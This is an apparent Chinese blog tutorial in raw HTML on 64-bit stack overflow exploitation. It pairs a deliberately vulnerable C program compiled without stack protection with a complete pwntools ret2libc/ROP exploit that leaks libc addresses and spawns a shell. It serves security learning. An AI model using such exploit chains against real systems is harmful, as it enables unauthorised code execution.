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          <h1 class="post-title" itemprop="name headline">高级栈溢出及ret2libc
              
            
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              <time title="创建时间：2018-05-05 09:38:08" itemprop="dateCreated datePublished" datetime="2018-05-05T09:38:08+08:00">2018-05-05</time>
            

            
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        <h1 id="准备工作"><a href="#准备工作" class="headerlink" title="准备工作"></a>准备工作</h1><blockquote>
<p>实验环境：uname -a    64位 ubuntu 16.04</p>
<p>Linux ubuntu 4.4.0-122-generic #146-Ubuntu SMP Mon Apr 23 15:34:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux</p>
</blockquote>
<ul>
<li>gdb-peda</li>
</ul>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">$ git clone https://github.com/longld/peda.git ~/peda</span><br><span class="line">$ echo &quot;source ~/peda/peda.py&quot; &gt;&gt; ~/.gdbinit</span><br></pre></td></tr></table></figure>
<ul>
<li>pwntools</li>
</ul>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ pip install pwn</span><br></pre></td></tr></table></figure>
<a id="more"></a>
<h3 id="三种保护机制"><a href="#三种保护机制" class="headerlink" title="三种保护机制"></a>三种保护机制</h3><ul>
<li><strong>ASLR</strong> ：地址空间随机化，每次运行函数地址改变。</li>
</ul>
<p>​        绕过：随机化只是将每次库函数加载地址随机，库函数间相对地址不变，因此通过GOT来泄漏库函数地址，  以推导出libc中其他函数（如system）的地址。</p>
<ul>
<li><strong>NX</strong> ：通过在页表上设置NX(不可执行）位，将非代码段的地址空间设置成不可执行属性，一旦系统从这些地址空间进行取指令时，CPU就是报内存违例异常，进而杀死进程。栈空间也被操作系统设置了不可执行属性，因此普通的<code>shellode</code>注入无法执行。</li>
</ul>
<p>​        绕过：<code>ret2libc</code> 利用已有代码，更改返回地址时返回到系统函数。</p>
<ul>
<li><strong>Cannary</strong>  ： 通过在缓冲区和返回地址间插入一个<code>canary word</code> ，当缓冲区被溢出时，在返回地址被覆盖之前 canary word 会首先被覆盖。通过检查 canary word 的值是否被修改，就可以判断是否发生了溢出攻击。</li>
</ul>
<p>​       暂时未研究如何绕过，因此使用<code>-fno-stack-protector</code> 标志关闭该安全保护机制。        </p>
<h3 id="ret2libc"><a href="#ret2libc" class="headerlink" title="ret2libc"></a>ret2libc</h3><p><strong>难点：</strong> </p>
<ol>
<li>由于ASLR机制，需要泄漏库函数地址以确定<code>system</code> 函数地址，本次结合<code>ROP</code> 使用<code>write</code> 函数获取<code>write</code> 函数实际地址。</li>
<li>由于操作环境为64位<code>linux</code> ，函数通过<code>rdi,rsi,rdx,rcx,r8,r9</code> 以及栈传参，因此采用<code>pop,ret</code> 片段装填参数</li>
</ol>
<p>​    本次实验结合了<code>ret2libc</code> 与<code>ROP</code> 两种手段，为简化操作，内置了需要的<code>gadget</code> 。</p>
<h3 id="漏洞程序"><a href="#漏洞程序" class="headerlink" title="漏洞程序"></a>漏洞程序</h3><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/*************************************************************************</span></span><br><span class="line"><span class="comment">    &gt; File Name: vuln.c</span></span><br><span class="line"><span class="comment">    &gt; Author: xsyin</span></span><br><span class="line"><span class="comment">    &gt; Mail: shouyinXu@163.com </span></span><br><span class="line"><span class="comment">    &gt; Created Time: 2018年05月05日 星期六 14时24分14秒</span></span><br><span class="line"><span class="comment">    &gt; Make: gcc -fno-stack-protector -g vuln.c -o vuln</span></span><br><span class="line"><span class="comment"> ************************************************************************/</span></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdlib.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;unistd.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">helper</span><span class="params">()</span></span>&#123;</span><br><span class="line">	<span class="keyword">asm</span>(<span class="string">"pop %rdi; pop %rsi; pop %rdx; ret"</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">vuln</span><span class="params">()</span></span>&#123;</span><br><span class="line">	<span class="keyword">char</span> buf[<span class="number">128</span>];</span><br><span class="line">	<span class="built_in">memset</span>(buf,<span class="number">0</span>,<span class="number">128</span>);</span><br><span class="line">	write(STDOUT_FILENO, <span class="string">"Enter input: \n"</span>,<span class="number">14</span>);</span><br><span class="line">	read(STDIN_FILENO, buf, <span class="number">512</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">char</span> <span class="keyword">const</span> *argv[])</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">	vuln();</span><br><span class="line">	<span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<p><code>read</code> 函数中允许写入521字节到一个只有128字节的缓冲区，明显的缓冲区溢出利用点。</p>
<ul>
<li>寻找溢出点</li>
</ul>
<p><img src="/2018/05/05/高级栈溢出及ret2libc/选区_065.png" alt="选区_065"></p>
<p><img src="/2018/05/05/高级栈溢出及ret2libc/选区_066.png" alt="选区_066"></p>
<p>溢出点在偏移136处，即<code>buf</code> 填充136之后为返回地址。</p>
<ul>
<li>寻找需要的<code>gadget</code> 片段</li>
</ul>
<p><img src="/2018/05/05/高级栈溢出及ret2libc/选区_067.png" alt="选区_067"></p>
<ul>
<li>构造<code>payload</code> ：</li>
</ul>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">#payload1 获取write函数实际地址</span><br><span class="line">payload1 = &quot;A&quot; * 136  #截至返回地址前的缓冲区长度</span><br><span class="line">payload1 += p64(pppr) #跳转到PPPR指令序列，为write函数赋值</span><br><span class="line">payload1 += p64(0x1) #write函数的第一个参数，1表示输出到stdout</span><br><span class="line">payload1 += p64(got_write) #write函数的第二个参数，表示要输出字符串的首地址</span><br><span class="line">payload1 += p64(0x8) #write函数的第三个参数，表示要输出字符串的长度</span><br><span class="line">payload1 += p64(plt_write) #调用write函数</span><br><span class="line">payload1 += p64(vuln)      #继续调用vuln函数</span><br></pre></td></tr></table></figure>
<p>由于<code>linux</code> 共享库的延迟绑定技术，函数第一次调用时填充<code>GOT</code>表，在运行到<code>read</code> 函数时<code>write</code> 函数<code>GOT</code> 表中已填入实际地址。<code>payload1</code> 读取该地址。</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">#payload2 跳转至库函数system</span><br><span class="line">payload2 = &quot;A&quot; * 136   #截至返回地址前的缓冲区长度</span><br><span class="line">payload2 += p64(pr)   #跳转到PR指令序列，填充system的第一个参数</span><br><span class="line">payload2 += p64(binsh_addr)  #system函数的第一个参数/bin/sh</span><br><span class="line">payload2 += p64(systemAddr)    #调用system函数</span><br></pre></td></tr></table></figure>
<h3 id="结果"><a href="#结果" class="headerlink" title="结果"></a>结果</h3><p><img src="/2018/05/05/高级栈溢出及ret2libc/选区_068.png" alt="选区_068"></p>
<p>退出报错，可以通过PPPR片段再次跳转到<code>exit</code> 函数正常退出。</p>
<h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p> <strong>优点：</strong>  通过<code>ret2libc</code> 与 <code>ROP</code> 绕过了ASLR与NX机制</p>
<p><strong>缺点：</strong> </p>
<ol>
<li>未绕过GS机制，可通过更改<code>__stackchk_fail__</code>函数<code>GOT</code> 表项</li>
</ol>
<ol start="2">
<li>内置了需要的<code>gadget</code> ，可使用通用的片段，ret2csu</li>
<li>需要知道 <code>libc</code> 路径及版本，可通过pwntools提供的DynELF模块来进行内存搜索</li>
</ol>
<h3 id="利用程序"><a href="#利用程序" class="headerlink" title="利用程序"></a>利用程序</h3><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/python</span></span><br><span class="line"><span class="comment"># -*- coding:utf-8 -*-</span></span><br><span class="line"><span class="comment"># file: exploit.py</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> struct</span><br><span class="line"></span><br><span class="line">elf = ELF(<span class="string">'vuln'</span>)</span><br><span class="line">libc = ELF(<span class="string">'/lib/x86_64-linux-gnu/libc.so.6'</span>)</span><br><span class="line">p = process(<span class="string">'./vuln'</span>)</span><br><span class="line"></span><br><span class="line">pppr = <span class="number">0x4005ba</span></span><br><span class="line">pr = <span class="number">0x400693</span></span><br><span class="line"></span><br><span class="line">plt_write = elf.symbols[<span class="string">'write'</span>]</span><br><span class="line">got_write = elf.got[<span class="string">'write'</span>]</span><br><span class="line"></span><br><span class="line">libc_write = libc.symbols[<span class="string">'write'</span>]</span><br><span class="line">libc_system = libc.symbols[<span class="string">'system'</span>]</span><br><span class="line"><span class="keyword">print</span> <span class="string">"libc_system: "</span>+hex(libc_system)</span><br><span class="line"></span><br><span class="line">vuln = elf.symbols[<span class="string">'vuln'</span>]</span><br><span class="line"></span><br><span class="line">payload1 = <span class="string">"A"</span> * <span class="number">136</span></span><br><span class="line">payload1 += p64(pppr)</span><br><span class="line">payload1 += p64(<span class="number">0x1</span>)</span><br><span class="line">payload1 += p64(got_write)</span><br><span class="line">payload1 += p64(<span class="number">0x8</span>)</span><br><span class="line">payload1 += p64(plt_write)</span><br><span class="line">payload1 += p64(vuln)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">"Enter input:"</span>)</span><br><span class="line"><span class="keyword">print</span> <span class="string">"################ send payload1 ###########"</span></span><br><span class="line">p.send(payload1)</span><br><span class="line">p.recv(<span class="number">8</span>)</span><br><span class="line"></span><br><span class="line">writeAddrTmp = struct.unpack(<span class="string">'&lt;Q'</span>, p.recv(<span class="number">8</span>)[<span class="number">-8</span>::])</span><br><span class="line">writeAddr = writeAddrTmp[<span class="number">0</span>]</span><br><span class="line"><span class="keyword">print</span> <span class="string">"writeAddr:"</span>, hex(writeAddr)</span><br><span class="line"></span><br><span class="line">systemAddr = (writeAddr - libc_write) + libc_system</span><br><span class="line"><span class="keyword">print</span> <span class="string">"systemAddr:"</span>, hex(systemAddr)</span><br><span class="line"></span><br><span class="line">binsh_addr = (writeAddr - libc_write) + next(libc.search(<span class="string">'/bin/sh'</span>))</span><br><span class="line"><span class="keyword">print</span> <span class="string">"binsh_addr:"</span>, hex(binsh_addr)</span><br><span class="line"></span><br><span class="line">payload2 = <span class="string">"A"</span> * <span class="number">136</span></span><br><span class="line">payload2 += p64(pr)</span><br><span class="line">payload2 += p64(binsh_addr)</span><br><span class="line">payload2 += p64(systemAddr)</span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">"Enter input:"</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">print</span> <span class="string">"################ send payload2 ###########"</span></span><br><span class="line">p.send(payload2)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure>
<h3 id="参考资料"><a href="#参考资料" class="headerlink" title="参考资料"></a>参考资料</h3><p><a href="https://jaq.alibaba.com/community/art/show?articleid=473" target="_blank" rel="noopener">一步一步学ROP之linux_x64篇</a></p>

      
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              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-1"><a class="nav-link" href="#准备工作"><span class="nav-number">1.</span> <span class="nav-text">准备工作</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#三种保护机制"><span class="nav-number">1.0.1.</span> <span class="nav-text">三种保护机制</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#ret2libc"><span class="nav-number">1.0.2.</span> <span class="nav-text">ret2libc</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#漏洞程序"><span class="nav-number">1.0.3.</span> <span class="nav-text">漏洞程序</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#结果"><span class="nav-number">1.0.4.</span> <span class="nav-text">结果</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#总结"><span class="nav-number">1.0.5.</span> <span class="nav-text">总结</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#利用程序"><span class="nav-number">1.0.6.</span> <span class="nav-text">利用程序</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#参考资料"><span class="nav-number">1.0.7.</span> <span class="nav-text">参考资料</span></a></li></ol></li></ol></div>
            

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    // Popup Window;
    var isfetched = false;
    var isXml = true;
    // Search DB path;
    var search_path = "search.xml";
    if (search_path.length === 0) {
      search_path = "search.xml";
    } else if (/json$/i.test(search_path)) {
      isXml = false;
    }
    var path = "/" + search_path;
    // monitor main search box;

    var onPopupClose = function (e) {
      $('.popup').hide();
      $('#local-search-input').val('');
      $('.search-result-list').remove();
      $('#no-result').remove();
      $(".local-search-pop-overlay").remove();
      $('body').css('overflow', '');
    }

    function proceedsearch() {
      $("body")
        .append('<div class="search-popup-overlay local-search-pop-overlay"></div>')
        .css('overflow', 'hidden');
      $('.search-popup-overlay').click(onPopupClose);
      $('.popup').toggle();
      var $localSearchInput = $('#local-search-input');
      $localSearchInput.attr("autocapitalize", "none");
      $localSearchInput.attr("autocorrect", "off");
      $localSearchInput.focus();
    }

    // search function;
    var searchFunc = function(path, search_id, content_id) {
      'use strict';

      // start loading animation
      $("body")
        .append('<div class="search-popup-overlay local-search-pop-overlay">' +
          '<div id="search-loading-icon">' +
          '<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>' +
          '</div>' +
          '</div>')
        .css('overflow', 'hidden');
      $("#search-loading-icon").css('margin', '20% auto 0 auto').css('text-align', 'center');

      

      $.ajax({
        url: path,
        dataType: isXml ? "xml" : "json",
        async: true,
        success: function(res) {
          // get the contents from search data
          isfetched = true;
          $('.popup').detach().appendTo('.header-inner');
          var datas = isXml ? $("entry", res).map(function() {
            return {
              title: $("title", this).text(),
              content: $("content",this).text(),
              url: $("url" , this).text()
            };
          }).get() : res;
          var input = document.getElementById(search_id);
          var resultContent = document.getElementById(content_id);
          var inputEventFunction = function() {
            var searchText = input.value.trim().toLowerCase();
            var keywords = searchText.split(/[\s\-]+/);
            if (keywords.length > 1) {
              keywords.push(searchText);
            }
            var resultItems = [];
            if (searchText.length > 0) {
              // perform local searching
              datas.forEach(function(data) {
                var isMatch = false;
                var hitCount = 0;
                var searchTextCount = 0;
                var title = data.title.trim();
                var titleInLowerCase = title.toLowerCase();
                var content = data.content.trim().replace(/<[^>]+>/g,"");
                
                var contentInLowerCase = content.toLowerCase();
                var articleUrl = decodeURIComponent(data.url);
                var indexOfTitle = [];
                var indexOfContent = [];
                // only match articles with not empty titles
                if(title != '') {
                  keywords.forEach(function(keyword) {
                    function getIndexByWord(word, text, caseSensitive) {
                      var wordLen = word.length;
                      if (wordLen === 0) {
                        return [];
                      }
                      var startPosition = 0, position = [], index = [];
                      if (!caseSensitive) {
                        text = text.toLowerCase();
                        word = word.toLowerCase();
                      }
                      while ((position = text.indexOf(word, startPosition)) > -1) {
                        index.push({position: position, word: word});
                        startPosition = position + wordLen;
                      }
                      return index;
                    }

                    indexOfTitle = indexOfTitle.concat(getIndexByWord(keyword, titleInLowerCase, false));
                    indexOfContent = indexOfContent.concat(getIndexByWord(keyword, contentInLowerCase, false));
                  });
                  if (indexOfTitle.length > 0 || indexOfContent.length > 0) {
                    isMatch = true;
                    hitCount = indexOfTitle.length + indexOfContent.length;
                  }
                }

                // show search results

                if (isMatch) {
                  // sort index by position of keyword

                  [indexOfTitle, indexOfContent].forEach(function (index) {
                    index.sort(function (itemLeft, itemRight) {
                      if (itemRight.position !== itemLeft.position) {
                        return itemRight.position - itemLeft.position;
                      } else {
                        return itemLeft.word.length - itemRight.word.length;
                      }
                    });
                  });

                  // merge hits into slices

                  function mergeIntoSlice(text, start, end, index) {
                    var item = index[index.length - 1];
                    var position = item.position;
                    var word = item.word;
                    var hits = [];
                    var searchTextCountInSlice = 0;
                    while (position + word.length <= end && index.length != 0) {
                      if (word === searchText) {
                        searchTextCountInSlice++;
                      }
                      hits.push({position: position, length: word.length});
                      var wordEnd = position + word.length;

                      // move to next position of hit

                      index.pop();
                      while (index.length != 0) {
                        item = index[index.length - 1];
                        position = item.position;
                        word = item.word;
                        if (wordEnd > position) {
                          index.pop();
                        } else {
                          break;
                        }
                      }
                    }
                    searchTextCount += searchTextCountInSlice;
                    return {
                      hits: hits,
                      start: start,
                      end: end,
                      searchTextCount: searchTextCountInSlice
                    };
                  }

                  var slicesOfTitle = [];
                  if (indexOfTitle.length != 0) {
                    slicesOfTitle.push(mergeIntoSlice(title, 0, title.length, indexOfTitle));
                  }

                  var slicesOfContent = [];
                  while (indexOfContent.length != 0) {
                    var item = indexOfContent[indexOfContent.length - 1];
                    var position = item.position;
                    var word = item.word;
                    // cut out 100 characters
                    var start = position - 20;
                    var end = position + 80;
                    if(start < 0){
                      start = 0;
                    }
                    if (end < position + word.length) {
                      end = position + word.length;
                    }
                    if(end > content.length){
                      end = content.length;
                    }
                    slicesOfContent.push(mergeIntoSlice(content, start, end, indexOfContent));
                  }

                  // sort slices in content by search text's count and hits' count

                  slicesOfContent.sort(function (sliceLeft, sliceRight) {
                    if (sliceLeft.searchTextCount !== sliceRight.searchTextCount) {
                      return sliceRight.searchTextCount - sliceLeft.searchTextCount;
                    } else if (sliceLeft.hits.length !== sliceRight.hits.length) {
                      return sliceRight.hits.length - sliceLeft.hits.length;
                    } else {
                      return sliceLeft.start - sliceRight.start;
                    }
                  });

                  // select top N slices in content

                  var upperBound = parseInt('1');
                  if (upperBound >= 0) {
                    slicesOfContent = slicesOfContent.slice(0, upperBound);
                  }

                  // highlight title and content

                  function highlightKeyword(text, slice) {
                    var result = '';
                    var prevEnd = slice.start;
                    slice.hits.forEach(function (hit) {
                      result += text.substring(prevEnd, hit.position);
                      var end = hit.position + hit.length;
                      result += '<b class="search-keyword">' + text.substring(hit.position, end) + '</b>';
                      prevEnd = end;
                    });
                    result += text.substring(prevEnd, slice.end);
                    return result;
                  }

                  var resultItem = '';

                  if (slicesOfTitle.length != 0) {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + highlightKeyword(title, slicesOfTitle[0]) + "</a>";
                  } else {
                    resultItem += "<li><a href='" + articleUrl + "' class='search-result-title'>" + title + "</a>";
                  }

                  slicesOfContent.forEach(function (slice) {
                    resultItem += "<a href='" + articleUrl + "'>" +
                      "<p class=\"search-result\">" + highlightKeyword(content, slice) +
                      "...</p>" + "</a>";
                  });

                  resultItem += "</li>";
                  resultItems.push({
                    item: resultItem,
                    searchTextCount: searchTextCount,
                    hitCount: hitCount,
                    id: resultItems.length
                  });
                }
              })
            };
            if (keywords.length === 1 && keywords[0] === "") {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-search fa-5x" /></div>'
            } else if (resultItems.length === 0) {
              resultContent.innerHTML = '<div id="no-result"><i class="fa fa-frown-o fa-5x" /></div>'
            } else {
              resultItems.sort(function (resultLeft, resultRight) {
                if (resultLeft.searchTextCount !== resultRight.searchTextCount) {
                  return resultRight.searchTextCount - resultLeft.searchTextCount;
                } else if (resultLeft.hitCount !== resultRight.hitCount) {
                  return resultRight.hitCount - resultLeft.hitCount;
                } else {
                  return resultRight.id - resultLeft.id;
                }
              });
              var searchResultList = '<ul class=\"search-result-list\">';
              resultItems.forEach(function (result) {
                searchResultList += result.item;
              })
              searchResultList += "</ul>";
              resultContent.innerHTML = searchResultList;
            }
          }

          if ('auto' === 'auto') {
            input.addEventListener('input', inputEventFunction);
          } else {
            $('.search-icon').click(inputEventFunction);
            input.addEventListener('keypress', function (event) {
              if (event.keyCode === 13) {
                inputEventFunction();
              }
            });
          }

          // remove loading animation
          $(".local-search-pop-overlay").remove();
          $('body').css('overflow', '');

          proceedsearch();
        }
      });
    }

    // handle and trigger popup window;
    $('.popup-trigger').click(function(e) {
      e.stopPropagation();
      if (isfetched === false) {
        searchFunc(path, 'local-search-input', 'local-search-result');
      } else {
        proceedsearch();
      };
    });

    $('.popup-btn-close').click(onPopupClose);
    $('.popup').click(function(e){
      e.stopPropagation();
    });
    $(document).on('keyup', function (event) {
      var shouldDismissSearchPopup = event.which === 27 &&
        $('.search-popup').is(':visible');
      if (shouldDismissSearchPopup) {
        onPopupClose();
      }
    });
  </script>





  

  

  

  

  
  

  

  

  

  

  


  
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